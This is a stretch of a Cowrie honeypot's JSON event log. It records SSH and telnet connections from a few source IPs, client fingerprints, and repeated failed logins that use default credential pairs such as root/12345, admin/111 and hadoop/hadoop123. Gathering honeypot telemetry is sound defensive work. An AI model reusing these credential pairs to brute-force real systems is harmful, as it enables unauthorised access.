{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:19.733287Z","src_ip":"94.26.106.229","session":"7b339578433c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:19.956242Z","src_ip":"45.156.87.204","session":"37e9553635bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xguest","password":"xguest","message":"login attempt [xguest/xguest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:20.011239Z","src_ip":"94.26.106.229","session":"7b339578433c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:21.118579Z","src_ip":"94.26.106.229","session":"7b339578433c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46582,"dst_ip":"159.203.135.109","dst_port":22,"session":"1451077f4539","protocol":"ssh","message":"New connection: 45.156.87.204:46582 (159.203.135.109:22) [session: 1451077f4539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:22.069814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:22.074051Z","src_ip":"45.156.87.204","session":"1451077f4539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:22.158668Z","src_ip":"45.156.87.204","session":"1451077f4539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":35026,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4b777bc0de6","protocol":"ssh","message":"New connection: 94.26.106.229:35026 (159.203.135.109:22) [session: c4b777bc0de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:22.336793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:22.341387Z","src_ip":"94.26.106.229","session":"c4b777bc0de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:22.410739Z","src_ip":"45.156.87.204","session":"1451077f4539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:22.424647Z","src_ip":"94.26.106.229","session":"c4b777bc0de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"man","password":"man","message":"login attempt [man/man] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:22.676788Z","src_ip":"94.26.106.229","session":"c4b777bc0de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53442,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ad2e0fe7dc1","protocol":"telnet","message":"New connection: 152.42.224.71:53442 (10.17.0.5:23) [session: 2ad2e0fe7dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:22.992271Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:23.496379Z","src_ip":"45.156.87.204","session":"1451077f4539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:23.763503Z","src_ip":"94.26.106.229","session":"c4b777bc0de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36370,"dst_ip":"159.203.135.109","dst_port":22,"session":"07c2b44fbcf8","protocol":"ssh","message":"New connection: 94.26.106.229:36370 (159.203.135.109:22) [session: 07c2b44fbcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:24.454399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:24.458978Z","src_ip":"94.26.106.229","session":"07c2b44fbcf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:24.546864Z","src_ip":"94.26.106.229","session":"07c2b44fbcf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:24.939465Z","src_ip":"94.26.106.229","session":"07c2b44fbcf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54442,"dst_ip":"159.203.135.109","dst_port":22,"session":"4530f84fced2","protocol":"ssh","message":"New connection: 45.156.87.204:54442 (159.203.135.109:22) [session: 4530f84fced2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:25.614724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:25.619384Z","src_ip":"45.156.87.204","session":"4530f84fced2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:25.703074Z","src_ip":"45.156.87.204","session":"4530f84fced2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:26.029619Z","src_ip":"94.26.106.229","session":"07c2b44fbcf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:26.261681Z","src_ip":"45.156.87.204","session":"4530f84fced2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36376,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5546a766244","protocol":"ssh","message":"New connection: 94.26.106.229:36376 (159.203.135.109:22) [session: a5546a766244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:26.577326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:26.582236Z","src_ip":"94.26.106.229","session":"a5546a766244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:26.695728Z","src_ip":"94.26.106.229","session":"a5546a766244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:27.251125Z","src_ip":"94.26.106.229","session":"a5546a766244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:27.346191Z","src_ip":"45.156.87.204","session":"4530f84fced2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46266,"dst_ip":"10.17.0.5","dst_port":23,"session":"6adcde991747","protocol":"telnet","message":"New connection: 152.42.224.71:46266 (10.17.0.5:23) [session: 6adcde991747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:27.794152Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:28.337667Z","src_ip":"94.26.106.229","session":"a5546a766244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36390,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c43d8a8af9b","protocol":"ssh","message":"New connection: 94.26.106.229:36390 (159.203.135.109:22) [session: 6c43d8a8af9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:29.283694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:29.291510Z","src_ip":"94.26.106.229","session":"6c43d8a8af9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:29.375109Z","src_ip":"94.26.106.229","session":"6c43d8a8af9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.643099784851074,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:29.582854Z","src_ip":"152.42.224.71","session":"e6770548be06","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"cloudsigma","password":"123456","message":"login attempt [cloudsigma/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:29.626875Z","src_ip":"94.26.106.229","session":"6c43d8a8af9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54448,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e592e19d926","protocol":"ssh","message":"New connection: 45.156.87.204:54448 (159.203.135.109:22) [session: 7e592e19d926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:29.673931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:29.678988Z","src_ip":"45.156.87.204","session":"7e592e19d926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:29.761310Z","src_ip":"45.156.87.204","session":"7e592e19d926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":34986,"dst_ip":"159.203.135.109","dst_port":22,"session":"c108e5f52308","protocol":"ssh","message":"New connection: 124.155.125.131:34986 (159.203.135.109:22) [session: c108e5f52308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:29.965527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:29.970903Z","src_ip":"124.155.125.131","session":"c108e5f52308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:30.008261Z","src_ip":"45.156.87.204","session":"7e592e19d926","protocol":"ssh"}
